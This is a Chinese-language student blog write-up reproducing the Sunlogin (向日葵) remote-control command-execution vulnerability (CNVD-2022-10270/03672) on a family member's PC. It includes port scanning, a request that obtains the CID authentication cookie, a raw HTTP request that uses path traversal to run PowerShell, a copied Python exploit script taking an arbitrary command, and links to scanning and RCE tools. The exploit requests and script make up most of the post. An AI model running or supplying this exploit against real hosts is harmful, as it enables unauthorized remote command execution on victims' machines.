ysoseri.us

技术内容 / 本科的一些学习笔记和wp / 向日葵命令执行漏洞复现

向日葵命令执行漏洞复现

(CNVD-2022-10270/CNVD-2022-03672)

https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672

https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270

漏洞影响的版本

向日葵个人版 for Windows <= 11.0.0.33
向日葵简约版 <= V1.0.1.43315(2021.12)

漏洞复现

环境搭建

图片 1

本来想用自己的本地环境,恰好向日葵也没更新,但是发现nmap和其他扫描工具都没扫出来

于是拿来我爸电脑下了个向日葵当靶机(我是大孝子别学我)

图片 2

端口扫描

nmap扫所有端口

向日葵服务一般所占用端口号较高,一般在40000以上

图片 3

使用浏览器访问ip对应端口发现58907可用

获取指纹特征

http://192.168.1.103:58907

图片 4

获取Verify 认证得到Cookie CID

使用浏览器访问ip+端口号+/cgi-bin/rpc?action=verify-haras

这里192.168.0.107:58907/cgi-bin/rpc?action=verify-haras

用post传参

图片 5

得到cookie值,下一步就可以命令执行了

命令执行

使用burpsuite发包

GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami HTTP/1.1
Host: 192.168.31.106:64221
Proxy-Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: CID=ciiHpsOHS1UtC5ZfZMrA1gApw9htv8ph
connection: close
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 4

图片 6

脚本复现

网上抄来的,效果未知,反正我是没成功

import requests,sys
 
ip = sys.argv[1]
command = sys.argv[2]
payload1 = "/cgi-bin/rpc?action=verify-haras"
payload2 = "/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+"
headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
}
 
if "http://" not in ip:
    host = "http://" + ip
else:
    host = ip
 
try:
    s = requests.Session()
    res = s.get(url=host + payload1,headers=headers)
    if res.status_code == 200:
        res = res.json()
        Cid = res['verify_string']
        headers.update({'Cookie':"CID=" + Cid})
        res1 = s.get(url=host + payload2 + command,headers=headers)
        res1.encoding = "GBK"
        print(res1.text)
    else:
        pass
except Exception as e:
    print(e)

工具复现

扫描:https://github.com/mrknow001/Sunlogin-rce

rce利用:https://github.com/Mr-xn/sunlogin_rce

图片 7

图片 8